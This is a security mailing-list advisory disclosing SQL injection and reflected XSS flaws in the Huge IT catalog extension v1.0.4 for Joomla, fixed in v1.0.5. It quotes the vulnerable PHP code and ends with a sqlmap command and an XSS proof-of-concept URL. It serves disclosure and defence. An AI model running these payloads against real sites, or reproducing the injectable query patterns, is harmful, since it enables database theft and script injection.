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Date: Tue, 26 Jul 2016 08:37:28 -0400
From: "Larry W. Cashdollar" <larry0@...com>
To: Open Source Security <oss-security@...ts.openwall.com>
Subject: SQLi and Reflected XSS in Huge IT catalog extension v1.0.4 for Joomla

Title: SQLi and XSS in Huge IT catalog extension v1.0.4 for Joomla
Author: Larry W. Cashdollar, @_larry0
Date: 2015-07-17
Download Site: http://extensions.joomla.org/extensions/extension/e-commerce/shopping-cart/catalog
Vendor: www.huge-it.com
Vendor Notified: 2015-07-17, fixed in v1.0.5
Vendor Contact: info@...e-it.com
Description: This extension is designed to help you display the products in the most attractive way. Joomla Catalog Extension has a stylish design with convenient construction for displaying the product to the customers.
Vulnerability:
The attacker must be logged in with at least manager level access or access to the administrative panel to exploit this vulnerability.

Reflected XSS in file ./views/submissions/tmpl/default.php via message_id parameter:

825:   <input type="hidden" id="message_id" value ="<?php echo $_GET['message_id']; ?>" />


SQL Injection 

in file ./models/submissions.php via id parameter
59-        $query = $db->getQuery(true);
60-        $id = JRequest::getVar('message_id');
61-        $this-> updateReadInfo($id);
62:        $query->select('*,#__huge_it_catalog_products.name as product_name, #__huge_it_catalog_asc_seller.id as  message_id');
63-        $query->from('#__huge_it_catalog_asc_seller,#__huge_it_catalog_products');
64-        $query->where('#__huge_it_catalog_asc_seller.product_id = #__huge_it_catalog_products.id and #__huge_it_catalog_asc_seller.id = "'.$id.'"');
65-        $db->setQuery($query);
in file ./models/comment.php via projectId parameter:

56-        $db = JFactory::getDBO();
57-       $id = JRequest::getVar('projectId'); 
58-       $query = $db->getQuery(true);
59:        $query->select('*,#__huge_it_catalog_reviews.id as comId, #__huge_it_catalog_reviews.name as author_name, #__huge_it_catalog_products.name as product_name')
60-             ->from('#__huge_it_catalog_reviews, #__huge_it_catalog_products')
61-         ->where('#__huge_it_catalog_reviews.product_id = #__huge_it_catalog_products.id and #__huge_it_catalog_products.id = "'.$id.'"');
62-        $db->setQuery($query);

in file ./models/rating.php via projectId parameter:

55-        return $results;
56-    } 
57-    
58-    public  function getRatingById() {
59-        $db = JFactory::getDBO();
60:       $id = JRequest::getVar('projectId'); 
61-       $query = $db->getQuery(true);
62-        $query->select('*,#__huge_it_catalog_rating.id as ratId')
63-             ->from('#__huge_it_catalog_rating, #__huge_it_catalog_products')
64-         ->where('#__huge_it_catalog_rating.prod_id = #__huge_it_catalog_products.id and #__huge_it_catalog_products.id = "'.$id.'"');
65-        $db->setQuery($query);

in file ./models/catalog.php via id parameter:

45:        $id_cat = JRequest::getVar('id');
46-        $query = $db->getQuery(true);
47-        $query->select('#__huge_it_catalog_products.name as name,'
48-                . '#__huge_it_catalog_products.id ,'
49-                . '#__huge_it_catalogs.name as catName,'
50-                . 'catalog_id,#__huge_it_catalog_products.description as productDescription,#__huge_it_catalog_products.parameters as productParameters,#__huge_it_catalogs.description,image_url,sl_url,sl_type,price,market_price,single_product_url_type,single_product_url_type,#__huge_it_catalog_products.link_target as productLinkTarget,#__huge_it_catalog_products.ordering,#__huge_it_catalog_products.published,published_in_sl_width');
51-        $query->from(array('#__huge_it_catalogs' => '#__huge_it_catalogs', '#__huge_it_catalog_products' => '#__huge_it_catalog_products'));
52-        $query->where('#__huge_it_catalogs.id = catalog_id')->where('catalog_id=' . $id_cat);
53-        $query->order('ordering asc');
54-       
55-        $db->setQuery($query);
--
63:        $id_cat = JRequest::getVar('id');
64-        $query = $db->getQuery(true);
65-        $query->select('*');
66-        $query->from('#__huge_it_catalog_products');
67-        $query->where('catalog_id=' . $id_cat);
68-        $db->setQuery($query);
69-        $results = $db->loadObjectList();
70-        return $results;
71-    }
72-
73-    public function save($data) {
--
121:        $id_cat = JRequest::getVar('id');
122-        $query = $db->getQuery(true);
123-        $query->update('#__huge_it_catalogs')->set('name ="' . $name . '"')->where('id="' . $id_cat . '"');
124-        $db->setQuery($query);
125-        $db->execute();
126-    }
127-
128-    function selectStyle() {
129-        $db = JFactory::getDBO();
130-        $data = JRequest::get('post');
131-          $name = $data['name'];
--
136:        $id_cat = JRequest::getVar('id');
137-        $query = $db->getQuery(true);
138-        
139-        $query->update('#__huge_it_catalogs')
140-              ->set('name ="' . $name . '"')
141-              ->set('catalog_list_effects_s ="'.$catalog_effects_list.'"')
142-              ->set('pagination_type ="'.$pagination_type.'"')
143-              ->set('count_into_page ="'.$count_into_page.'"')
144-              ->set('categories ="'.$allCategories.'"')
145-              ->where('id="' . $id_cat . '"');
146-        $db->setQuery($query);
--

via removeslide parameter:

208:        $id_cat = JRequest::getVar('removeslide');
209:        $id = JRequest::getVar('id');
210-        $db = JFactory::getDBO();
211-        $query = $db->getQuery(true);
212-        $query->delete('#__huge_it_catalog_products')->where('id =' . $id_cat);
213-        $db->setQuery($query);
214-        $db->execute();

CVE-2016-1000119 XSS
CVE-2016-1000120 SQLi

Exploit Code:
	• SQLi:
	•  
	• $ sqlmap  --load-cookies=cookies.txt -u "http://192.168.0.125/administrator/index.php?option=com_catalog&view=catalog&id=*" --dbms mysql 
	•  
	• XSS:
	•  
	• http://192.168.0.125/administrator/index.php?option=com_catalog&view=catalog&id=1--%20%22%3E%3Cscript%3Ealert(1);%3C/script%3E
Advisory: http://www.vapidlabs.com/advisory.php?v=167

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